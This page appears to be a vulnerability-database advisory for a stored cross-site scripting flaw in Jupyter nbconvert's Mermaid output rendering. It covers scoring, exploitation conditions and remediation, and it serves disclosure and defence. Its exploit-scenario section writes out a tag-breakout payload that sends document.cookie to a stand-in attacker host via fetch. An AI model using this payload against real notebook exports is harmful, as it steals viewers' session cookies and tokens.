Skip to main content

Jupyter nbconvert CVE-2026-6658

| EUVDEUVD-2026-39642 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-26 @huntr_ai GHSA-9754-6rhw-gj3h
5.4
CVSS 3.0 · Vendor: huntr_ai
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege notebook write access
  2. Delivery
    Craft malicious text/vnd.mermaid cell output with tag-breakout payload
  3. Exploit
    Notebook exported to HTML via nbconvert
  4. Execution
    Victim opens HTML export in browser
  5. Persist
    Injected JavaScript executes in victim's browser context
  6. Impact
    Exfiltrate session tokens or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two concrete conditions: first, the attacker must have low-privilege write access to a Jupyter notebook - sufficient to set a cell's output MIME type to text/vnd.mermaid with attacker-controlled content (PR:L); second, a victim with a browser session must actively open or view an HTML file produced by nbconvert from that notebook (UI:R). The specific triggering code path is the data_mermaid block in share/templates/lab/base.html.j2, meaning only notebooks containing text/vnd.mermaid MIME outputs exercise the vulnerable rendering path - notebooks using only standard output types (text/plain, image/png, etc.) are not affected. Exploitation is limited to the stored-XSS attack surface: an attacker cannot exploit this remotely without first planting the payload in a notebook. Non-default configuration is not required; the vulnerable template is part of the default lab template set shipped with nbconvert.

Impact

The CVSS 3.0 base score of 5.4 (Medium) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N reflects a stored-XSS pattern that is exploitable at low complexity but requires two preconditions: the attacker must hold low-privilege access to author or modify a notebook (PR:L), and a victim must actively render and view the HTML export (UI:R). The Scope:Changed metric correctly captures that the impact crosses from the conversion environment into the victim's browser session, enabling session theft, credential phishing, or pivot to other browser-accessible services. No EPSS score was provided in the input data, so exploitation probability cannot be quantified numerically. The vulnerability is not in the CISA KEV catalog and no POC code is referenced. Real-world risk is highest in shared JupyterHub or organizational notebook-publishing workflows where users trust internally generated HTML exports - threat actors who already have notebook-write access (e.g., compromised researcher accounts, malicious insiders) could silently weaponize an export pipeline to harvest session tokens from administrators who preview notebooks.

Exploit ScenarioDerived

An attacker with contributor access to a shared JupyterHub instance authors a notebook cell with text/vnd.mermaid output containing a payload such as </pre><img src=x onerror=fetch('https://attacker.example/c?c='+document.cookie)>. When a JupyterHub administrator or data reviewer exports the notebook to HTML using nbconvert and opens the resulting file in their browser, the injected script fires and exfiltrates the viewer's session cookies or JupyterHub authentication tokens to the attacker's server. No publicly available proof-of-concept code has been identified, but the injection technique is trivial given the disclosed template code path.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 26, 2026

Cross-site scripting in jupyter/nbconvert versions 7.17.0 and earlier allows any user with notebook write access to inject and execute arbitrary JavaScript in the browsers of users who view HTML-exported notebooks. The flaw stems from the data_mermaid rendering block in share/templates/lab/base.html.j2, which outputs text/vnd.mermaid cell content directly into HTML without escaping, enabling tag breakout from the enclosing <pre> element. No public exploit code has been identified at time of analysis, and this vulnerability is not listed in the CISA KEV catalog; however, the stored-XSS pattern means any user who views a maliciously crafted HTML export is at risk.

RemediationAI

Upgrade jupyter/nbconvert to any version released after 7.17.0 once a patched release is available; no exact fix version has been confirmed from the available references, so monitor the nbconvert PyPI release page and the Huntr advisory at https://huntr.com/bounties/47570290-3b26-4477-8cfa-fdef7db5aefe for the confirmed patch release. Until a patch is available, the most direct compensating control is to disable or strip text/vnd.mermaid MIME-type outputs from notebooks before conversion - this can be done via a custom nbconvert preprocessor or by scrubbing the notebook JSON with a pre-export script, though this will break legitimate Mermaid diagram rendering. Alternatively, serve HTML exports only from a sandboxed origin with a strict Content Security Policy (script-src 'none' or nonce-based) to neutralize injected scripts without affecting the page layout. Restricting HTML export generation to trusted notebook authors and educating users not to open HTML exports from untrusted sources are additional layered controls. Note that disabling Mermaid rendering entirely affects legitimate diagramming use cases.

Affected VersionsENISA

jupyter/jupyter unspecified ≤latest

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

nbconvert is the Jupyter ecosystem's primary notebook-to-HTML (and other format) conversion tool, used extensively in JupyterHub deployments, CI pipelines, and documentation publishing workflows. The vulnerability lies in the Jinja2 template share/templates/lab/base.html.j2, which contains a data_mermaid block responsible for rendering cell outputs of MIME type text/vnd.mermaid - a diagramming format supported in modern Jupyter Lab. Because the template emits this content inside a <pre> tag without applying HTML entity encoding or a Content Security Policy sanitization step, an attacker-controlled Mermaid payload such as </pre><script>...</script> trivially escapes the tag context. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the stored variant: the malicious payload is baked into the exported HTML file at conversion time and fires for every subsequent viewer. The CPE provided is cpe:2.3:a:jupyter:jupyter/jupyter:*:*:*:*:*:*:*:*; the canonical package is jupyter/nbconvert on PyPI.

Know when Jupyter gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (huntr_ai) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

PR:L reflects required notebook write access; UI:R reflects victim must view HTML export; S:C captures cross-browser-session impact; no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM
Red Hat 5.4 MEDIUM

Primary rating from Vendor (huntr_ai).

CVSS VectorVendor: huntr_ai

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

A vulnerability in jupyter/nbconvert versions <= 7.17.0 allows for Cross-site Scripting (XSS) via unsanitized text/vnd.mermaid output in HTML exports. The data_mermaid block in share/templates/lab/base.html.j2 renders text/vnd.mermaid cell output directly into HTML without escaping, enabling attackers to inject arbitrary HTML/JavaScript by breaking out of the <pre> tag. This vulnerability impacts any server using nbconvert to render notebooks as HTML, allowing attackers to execute arbitrary JavaScript in the context of users viewing the HTML export.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Medium
widely used in data science, academic, and CI notebook pipelines
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-39700 CRITICAL POC
9.8 Jul 16

JupyterLab extension template is a `copier` template for JupyterLab extensions. Rated critical severity (CVSS 9.8), this

CVE-2021-32798 CRITICAL POC
9.6 Aug 09

The Jupyter notebook is a web-based notebook environment for interactive computing. Rated critical severity (CVSS 9.6),

CVE-2021-32797 CRITICAL POC
9.6 Aug 09

JupyterLab is a user interface for Project Jupyter which will eventually replace the classic Jupyter Notebook. Rated cri

CVE-2026-86258 HIGH POC
8.2 Sep 06

Path traversal in Jupyter nbviewer through version 1.0.1 allows unauthenticated remote attackers to read files from sibl

CVE-2020-26275 MEDIUM POC
6.1 Dec 21

The Jupyter Server provides the backend (i.e. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitab

CVE-2019-10856 MEDIUM POC
6.1 Apr 04

In Jupyter Notebook before 5.7.8, an open redirect can occur via an empty netloc. Rated medium severity (CVSS 6.1), this

CVE-2026-111057 CRITICAL
10.0 Oct 19

Unauthenticated remote command execution is possible in MLJAR Mercury 3.0.0 through 3.2.3 because a missing comma in the

CVE-2023-25574 CRITICAL
10.0 Feb 25

`jupyterhub-ltiauthenticator` is a JupyterHub authenticator for learning tools interoperability (LTI). Rated critical se

CVE-2024-28179 CRITICAL
9.8 Mar 20

Jupyter Server Proxy allows users to run arbitrary external processes alongside their Jupyter notebook servers and provi

CVE-2024-22415 CRITICAL
9.8 Jan 18

jupyter-lsp is a coding assistance tool for JupyterLab (code navigation + hover suggestions + linters + autocompletion +

CVE-2023-36018 CRITICAL
9.8 Nov 14

Visual Studio Code Jupyter Extension Spoofing Vulnerability. Rated critical severity (CVSS 9.8), this vulnerability is r

CVE-2021-39159 CRITICAL
9.8 Aug 25

BinderHub is a kubernetes-based cloud service that allows users to share reproducible interactive computing environments

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy